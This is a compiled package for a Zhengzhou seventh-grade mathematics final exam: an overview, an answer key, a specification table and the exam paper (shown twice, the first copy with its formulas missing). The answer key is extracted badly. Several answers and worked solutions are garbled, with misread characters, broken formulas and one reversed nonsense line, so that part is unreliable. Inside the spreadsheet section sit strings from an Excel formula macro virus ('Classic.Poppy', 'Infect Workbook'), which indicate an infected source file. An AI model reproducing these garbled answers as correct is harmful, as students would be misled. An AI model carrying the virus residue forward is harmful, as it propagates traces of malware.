河南省郑州市七年级数学下学期期末测试（北师大七年级下册）

**基本信息** 以芯片晶体管（科技前沿）、新能源汽车行驶（生活实践）为情境，通过基础题（科学记数法）、综合题（网格轴对称作图）、创新题（对角互补四边形探究）的梯度设计，考查抽象能力、几何直观与推理意识。 **题型特征** |题型|题量/分值|知识覆盖|命题特色| |----|-----------|----------|----------| |选择|10/30|平行线性质、全等三角形判定|第2题芯片栅极宽度科学记数法，体现科技情境| |填空|5/15|垂线段最短应用、翻折问题|第11题原创改编生活实例，强化应用意识| |计算|1/12|代数运算|原创设计，夯实运算能力| |解答|7/63|函数关系、尺规作图、几何探究|第23题阅读材料探究对角互补四边形，培养推理能力与创新意识|

参考答案 1.【答案】B2.【答案】A3.【答案】B4.【答案】B5.【答案】A 6.【答案】D7.【答案】B8.【答案】B9.【答案】CI0.【答案】D 11.【答案】修建水渠尽量沿着原有路线的垂线修建（答案不唯一）12.【答案】10°13.【答案】50° 14.【答案】10015.【答案】6或8 16.【答案】【小题1】 原式=2+1×1-9=2+1-9=-6。 【小题2】 原式=aa2.a3-（-8a6+9a8÷a2=a6+8a6+9a6=18a6。 【小题3】 原式=[x+(3y-2zx-3y-2z=x2-3y-2z)2=x2-9y2+12yz-4z2。 17.【答案】 [(x-2y)-(x+y3x-y)-5y2]÷2x =(x2-4xy+4y2-3x2+xy-3xy+y2-5y2)÷2x =(-2x2-6xy)÷2x =-x-3y, 当x=-2,y=时， 原式=-（-2-3×=. 18.【答案】【小题1】 解：如图，4A'BC即为所求。 B 【小题2】 第1页，共1页 如图，连接AB'交直线于点P,连接BP,此时PA+PB=PA十PB'=AB',值最小，则点P即为所求. B 【小题3】 ·ABC的面积为克×(1+4)×4-专×4×1-专×1×3=10-2-号=号 19.【答案】【详解】证明：：∠2=∠3（已知） ·GEHK(内错角相等，两直线平行) ·∠1=∠AKH(两直线平行，同位角相等) :∠1+∠4=180（已知 ·∠AKH+∠4=180等量代换) ÷AB//CD(同旁内角互补，两直线平行) 20.【答案】证明：：∠A0D=∠BOE,∠A=∠B, ·∠BE0=∠2 又：∠1=∠2， ·∠1=∠BE0. ·∠AEC=∠BED. 在△AEC和△BED中， ∠A=∠B, AE-BE ∠AEC=∠BED ·△AEC≌△BED(ASA 21.【答案】【小题1】 50 38 第1页，共1页 【小题2】 由表格可知，开始油箱中的油为50L,每行驶100km,油量减少8L, 据此可得Q与s之间的关系式为Q=50-0.08s 【小题3】 令Q=10,得50-0.08s=10,解得s=500. 所以A,B两地之间的距离为500km. 22.【答案】(1)画图如下， D 第21题 (②)∠BAC+∠BGC=180°， 证明如下： 在AB上截取AD=AC,连接DG, :AM平分∠BAC, ·∠DAG=∠CAG, 在△DAG和△CAG中， AD-AC ∠DAG=∠CAG AG-AG ·△DAG≌△CAG(SAS, ·∠ADG=∠ACG,DG=CG, :G在BC的垂直平分线上， ·BG=CG, ·BG=DG, ·∠ABG=∠BDG, :∠BDG+∠ADG=180°， 第1页，共1页 ·∠ABG+∠ACG=180°， :∠ABG+∠BGC+∠ACG+∠BAC=360°， ÷∠BAC+∠BGC=180°. 23.【答案】【小题1】 AG-AF ∠GAE=∠FAE, 解：在△GAE和△FAE中， AE-AE, 所以△GAE≌△FAE(SAS. 所以EG=EF. 因为EG=BG十BE=BE+DF, 所以EF=BE+FD· 【小题2】 EF=BE+FD理由如下： 如图，延长CB至点M,使BM=DF,连接AM, E B 因为∠ABC+∠D=180°，∠ABC+∠ABM=180°，所以∠ABM=∠D AB=AD, ∠ABM=∠D 在△ABM和△ADF中， BM-DF, 所以△ABM兰△ADF(SAS. 所以AM=AF,∠BAM=∠DAF 因为∠EAF=∠BAD,所以∠BAB十∠DAF=∠EAF 所以∠EAM=∠BAE+∠BAM=∠BAE+∠DAF=∠EAF, AM-AF ∠EAM=∠EAF 在△MAE和△FAE中， AE-AE 所以△MAE兰△FAE(SAS).所以EM=EF 第1页，共1页 证I并逆I患 ad+38=d3da+38=38+wg=WaK 河南省郑州市七年级数学下学期期末测试 北师大版新课标 考试范围：七年级下册全册；考试时间：100分钟；总分：120分 题号 一 二 三 四 总分 得分 注意事项: 1.答卷前，考生务必将自己的姓名、准考证号填写在答题卡上。 2.回答选择题时，选出每小题答案后，用铅笔把答题卡对应题目的答案标号涂黑；如需改动，用橡皮擦干净后，再选涂其他答案标号。回答非选择题时，将答案写在答题卡上，写在试卷上无效。 3.考试结束后，本试卷和答题卡一并交回。 第I卷（选择题） 一、选择题：本题共10小题，每小题3分，共30分。在每小题给出的选项中，只有一项是符合题目要求的。 1.(    ) A. B. C. D. 2.芯片内部有数以亿计的晶体管，为追求更高质量的芯片和更低的电力功耗，需要设计体积更小的晶体管．目前，某品牌手机自主研发了最新型号芯片，其晶体管栅极的宽度为米，将数据用科学记数法表示为(    ) A. B. C. D. 3.已知：直线，一块含角的直角三角板如图所示放置，，则等于(    ) A. B. C. D. 4.如图，小谊将两根长度不等的木条，的中点连在一起，记中点为，即，测得，两点之间的距离后，利用全等三角形的性质，可得花瓶内壁上，两点之间的距离图中与全等的依据是(    ) A. B. C. D. 5.电子文件的大小常用，，，等作为单位，中，，，某视频文件的大小约为，等于(    ) A. B. C. D. 第4题图 第6题图 第2题图 6.如图，正方形卡片类、类和长方形卡片类各若干张，如果要拼一个长为，宽为的大长方形，则需要类、类和类卡片的张数分别为  (    ) A. ，， B. ，， C. ，， D. ，， 7.如图是一个转盘，扇形，，的圆心角分别是，，，任意转动转盘，指针指向扇形的概率是(    ) A. B. C. D. 第8题图 第9题图 第7题图 8.如图，在中，，以顶点为圆心，适当长为半径画弧，分别交，于点，，再分别以点，为圆心，大于的长为半径画弧，两弧交于点，作射线交边于点，若，，则的面积是(    ) A. B. C. D. 9.如图，折线描述了一辆新能源汽车在某一直线公路上的行驶过程中，汽车离出发地的距离千米和行驶时间时之间的函数关系。根据图中提供的信息，给出下列说法，其中正确的说法是(    ) A. 汽车共行驶了千米 B. 汽车在整个行驶过程中停留了小时 C. 汽车自出发后前小时的平均速度为千米时 D. 汽车自出发后小时至小时之间行驶的速度是千米时 10.（原创）如图，在四边形中，，，，分别是，上的一个动点，当的周长最小时，的度数为(    ) 第10题图 A. B. C. D. 第II卷（非选择题） 二、填空题：本题共5小题，每小题3分，共15分。 11.（原创改编）数学具有广泛的应用性．请写出一个将“垂线段最短”应用于生活的例子：          ． 12.（原创）如图，在中，是高，是角平分线，，60°，则          ． 第14题图 第13题图 第12题图 13.（原创）如图，把一张对边平行的纸条沿着向上方翻折，点的对应点为，点的对应点为若，则的度数为          ． 14.(教材改编）一个三位数除以各位数字之和商最大为_________. 15.如图，在中，，，，过点作如果点，分别在，上运动，并且始终保持，那么当          时，与全等． 三、计算题：本大题共1小题，共12分。 16.（原创）计算： 四、解答题：本题共7小题，共63分。解答应写出文字说明，证明过程或演算步骤。 17.（原创）本小题分先化简，再求值：，其中．，． 18.本小题分如图，在正方形网格中，每个小正方形的边长都为，点，，在小正方形的顶点上． 在图中画出与关于直线成轴对称的，点，，分别为点，，的对应点； 在直线上找一点，使得的长最小； 求出的面积． 19.本小题分如图，直线上有两点，直线上有一点三点共线，点在直线和直线之间，连接，求证：． 证明：已知 _________________________________ ______________________ 已知 ______________________ ___________ 20.本小题分如图，，，点在边上，，和相交于点求证：． 21.本小题分为了解某种品牌轿车的耗油情况，将油箱加满后进行了耗油试验，得到如下数据： 轿车行驶的路程 油箱剩余油量 该轿车油箱的容量为          ，行驶时，油箱剩余油量为           根据上表中的数据，写出油箱剩余油量与轿车行驶的路程之间的关系式 某人将油箱加满后，驾驶该汽车从地前往地，到达地时油箱剩余油量为，求，两地之间的距离． 22.本小题分如图，在中，射线平分 尺规作图不写作法，保留作图痕迹：作的中垂线，与相交于点，连接， 在条件下，和有何数量关系并证明你的结论． 23.本小题分【阅读材料】面对一般性的问题时，可以先考虑特殊情形，借助特殊情形下获得的结论或方法解决一般性的问题，这就是特殊化策略． 【活动主题】根据以上材料，同学们在数学活动课上以对角互补的四边形为活动主题，开展了如下探究． 【问题背景】如图，在四边形中，，，，分别是边，上的点，且请探究线段，，之间的数量关系． 【特殊情形】任务如图，当时，其他条件不变，请探究线段，，之间的数量关系． 下面是学习委员琳琳的解题过程，请将剩余内容补充完整． 解：如图，延长到点，使得，连接． 在和中， 所以所以，． 所以． 因为，所以． 【一般性问题】任务小梦同学发现在如图所示的四边形中，任务中的结论仍然是成立的，请你写出结论并说明理由． 第1页，共1页 学科网（北京）股份有限公司 $Sheet1 七 年级 数学 学科 期末命题双向细目表 题型 题号 分值 考试内容 考点内容细化 预估难度系数 能力要求 易 中 难 选择题 1 3 整式的乘除 同底数幂相乘、幂的乘方 0.9 √ 2 3 整式的乘除 科学计数法表示较小的数 0.9 √ 3 3 相交线与平行线 平行线的性质 0.8 √ 4 3 三角形 利用三角形全等测距离 0.8 √ 5 3 整式的乘除 幂的乘除 0.8 √ 6 3 整式的乘除 整式的乘法 0.8 √ 7 3 概率初步 等可能事件的概率 0.7 √ 8 3 三角形 认识三角形 0.7 √ 9 3 变量之间的关系 用图象法表示变量之间的关系 0.7 √ 10 3 图形的轴对称 问题解决策略--转化 0.6 √ 填空题 11 3 相交线与平行线 两条直线的位置关系 0.8 √ 12 3 三角形 认识三角形 0.7 √ 13 3 图形的轴对称 轴对称及其性质，平行线的性质 0.7 √ 14 3 三角形 特殊化 0.6 √ 15 3 三角形 图形的全等 0.4 √ 解答题 16 8 整式的乘除 幂的乘除、整式的乘法、乘法公式 0.6 √ 17 8 整式的乘除 乘法公式、整式的除法 0.6 √ 18 8 图形的轴对称 轴对称及其性质 0.6 √ 19 9 相交线与平行线 探索两直线平行的条件 0.6 √ 20 11 三角形 探索三角形全等的条件 0.6 √ 21 9 变量之间的关系 变量之间的关系 0.5 √ 22 10 图形的轴对称 简单的轴对称图形的性质 0.4 √ 23 12 三角形 特殊化 0.3 √ 共23题，120分，100分钟 4TTS8R4O 高一数学命题双向细目表（空表）.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** $河南省郑州市七年级数学下学期期末测试 北师大版新课标 考试范围：七年级下册全册：考试时间：100分钟：总分：120分 题号 二 三 四 总分 得分 注意事项： 1.答卷前，考生务必将自己的姓名、准考证号填写在答题卡上。 2.回答选择题时，选出每小题答案后，用铅笔把答题卡对应题目的答案标号涂黑；如需改动，用橡皮擦干 净后，再选涂其他答案标号。回答非选择题时，将答案写在答题卡上，写在试卷上无效。 3.考试结束后，本试卷和答题卡一并交回。 第I卷（选择题） 一、选择题：本题共10小题，每小题3分，共30分。在每小题给出的选项中，只有一项是符合题目要求 的。 1.(-a)2·a3=() A.-a5 B.a5 C.-a6 D.a6 2.芯片内部有数以亿计的晶体管，为追求更高质量的芯片和更低的电力功耗，需要设计体积更小的晶体 管.目前，某品牌手机自主研发了最新型号芯片，其晶体管栅极的宽度为0.000000014米，将数据 0.000000014用科学记数法表示为() A.1.4×10-8 B.14×10-7 C.0.14×10-6 D.1.4×10-9 3.己知：直线l1/儿2，一块含30°角的直角三角板如图所示放置，∠1=25°，则∠2等于() A.30° B.35 C.409 D.45° 4.如图，小谊将两根长度不等的木条AC,BD的中点连在一起，记中点为0，即A0=CO,B0=D0.测 得C,D两点之间的距离后，利用全等三角形的性质，可得花瓶内壁上A,B两点之间的距离图中△AOB与 △COD全等的依据是() A.SSS B.SAS C.ASA D.HL 第1页，共6页 5.电子文件的大小常用B,KB,MB,GB等作为单位，中1GB=210MB,1MB=210KB,1KB=210B, 某视频文件的大小约为1GB,1GB等于() A.230B B.830B C.8×101B D.2×1030B D B 第2题图 第4题图 第6题图 6.如图，正方形卡片A类、B类和长方形卡片C类各若干张，如果要拼一个长为(2a+3b),宽为(a+2b)的 大长方形，则需要A类、B类和C类卡片的张数分别为() A.2,8,5 B.3,8,6 C.3,7,5 D.2,6,7 7.如图是一个转盘，扇形1,2,4的圆心角分别是60°，70°，80°，任意转动转盘，指针指向扇形3的概 率是() A号 5 B.2 c号 ↑s/千米 90 BC 60 30 A☑ E 1.523 4.51/时 第7题图 第8题图 第9题图 8.如图，在Rt△ABC中，∠C=90°，以顶点A为圆心，适当长为半径画弧，分别交AC,AB于点M,N,再 分别以点M,N为圆心，大于号MN的长为半径画弧，两弧交于点P,作射线AP交边BC于点D,若CD=4, AB=15,则△ABD的面积是() A.15 B.30 C.45 D.60 9.如图，折线ABCDE描述了一辆新能源汽车在某一直线公路上的行驶过程中，汽车离出发地的距离s(千 米)和行驶时间t(时)之间的函数关系。根据图中提供的信息，给出下列说法，其中正确的说法是() A.汽车共行驶了90千米 B.汽车在整个行驶过程中停留了2小时 第2页，共6页 C.汽车自出发后前3小时的平均速度为30千米/时 D.汽车自出发后3小时至4.5小时之间行驶的速度是50千米/时 10.（原创)如图，在四边形ABCD中，∠C=40°，∠B=∠D=90°，E,F分别是BC,DC上的一个动点， 当△AEF的周长最小时，∠EAF的度数为() D 不 第10题图 A.40° B.60° C.809 D.100° 第II卷（非选择题） 二、填空题：本题共5小题，每小题3分，共15分。 11.(原创改编)数学具有广泛的应用性.请写出一个将“垂线段最短”应用于生活的例子： 12.(原创)如图，在△ABC中，AD是高，AE是角平分线，LB=40°，∠C=60°，则∠EAD= F E D >B 第12题图 第13题图 第14题图 13.（原创)如图，把一张对边平行的纸条沿着EF向上方翻折，点A的对应点为A′，点B的对应点为B'若 ∠BFE=70°，则∠A'GE的度数为一 14.(教材改编)一个三位数除以各位数字之和商最大为 15.如图，在Rt△ABC中，∠ABC=90°，AB=6,BC=8,过点C作CF1BC.如果点D,E分别在BC,CF 上运动，并且始终保持DE=AC,那么当CD=时，△ABC与△DCE全等. 三、计算题：本大题共1小题，共12分。 16.(原创)计算：(1)川-21+(-1)226×（π+3）°-(-)2， (2)aa2·a3-(-2a2)3+(3a42÷a2; (3)(x+3y-2z)(x-3y+2z): 四、解答题：本题共7小题，共63分。解答应写出文字说明，证明过程或演算步骤。 第3页，共6页 17.(原创)（本小题8分）先化简，再求值：x-2y)2-(x+y)3x-y)-5y]÷2x,其中.x=-2, y=- 18.(本小题8分)如图，在正方形网格中，每个小正方形的边长都为1，点A,B,C在小正方形的顶点上. (1)在图中画出与△ABC关于直线成轴对称的△A′B′C',点A′，B′，C′分别为点A,B,C的对应 点； (2)在直线l上找一点P,使得PA+PB的长最小： (3)求出·ABC的面积. 19.(本小题8分)如图，直线AB上有两点G、K,直线CD上有一点H,点H、F、K三点共线，点E在直线AB和 直线CD之间，连接EG、EF,∠2=∠3，∠1+∠4=180°，求证：AB/CD. A 一B 3 4 C D H 证明：∠2=∠3（已知） 7 .∠1= ∠1+∠4=180°（已知） +∠4=180°( ·.AB/CD( 第4页，共6页 20.(本小题9分)如图，∠A=LB,AE=BE,点D在AC边上，∠1=∠2，AE和BD相交于点0.求证： △AEC≌△BED. E 7 0 21.(本小题9分)为了解某种品牌轿车的耗油情况，将油箱加满后进行了耗油试验，得到如下数据： 轿车行驶的路程s(km)0100200300400 油箱剩余油量Q(L) 50423426 18 (1)该轿车油箱的容量为L,行驶150km时，油箱剩余油量为L; (2)根据上表中的数据，写出油箱剩余油量Q()与轿车行驶的路程s(km)之间的关系式： (3)某人将油箱加满后，驾驶该汽车从A地前往B地，到达B地时油箱剩余油量为10L,求A,B两地之间的 距离， 22.(本小题10分)如图，在△ABC中，射线AM平分LBAC M (1)尺规作图（不写作法，保留作图痕迹）：作BC的中垂线，与AM相交于点G,连接BG,CG; (2)在(1)条件下，∠BAC和LBGC有何数量关系？并证明你的结论. 第5页，共6页 23.(本小题11分)【阅读材料】面对一般性的问题时，可以先考虑特殊情形，借助特殊情形下获得的结论 或方法解决一般性的问题，这就是特殊化策略. 【活动主题】根据以上材料，同学们在数学活动课上以对角互补的四边形为活动主题，开展了如下探究， 【问题背景】如图1，在四边形ABCD中，AB=AD,∠B+∠D=180°，E,F分别是边BC,CD上的点，且 ∠EAF=∠BAD.请探究线段EPR,BE,FD之间的数量关系。 A A D 9D E B E B B 图1 图2 图3 (1)【特殊情形】任务1：如图2，当LB=∠D=90时，其他条件不变，请探究线段EF,BE,FD之间的数 量关系 下面是学习委员琳琳的解题过程，请将剩余内容补充完整 解：如图3，延长EB到点G,使得BG=DF,连接AG. AB=AD, 在△ABG和△ADF中， ∠ABG=∠ADF=90°， BG=DF. 所以△ABG≌△ADF(SAS).所以AG=AF,∠BAG=∠DAF. 所以∠BAG+∠BAE=∠DAF+∠BAE. 因为∠EAF=∠BAD,所以∠GAE=∠EAF (2)【一般性问题】任务2：小梦同学发现在如图1所示的四边形ABCD中，任务1中的结论仍然是成立 的，请你写出结论并说明理由. 第6页，共6页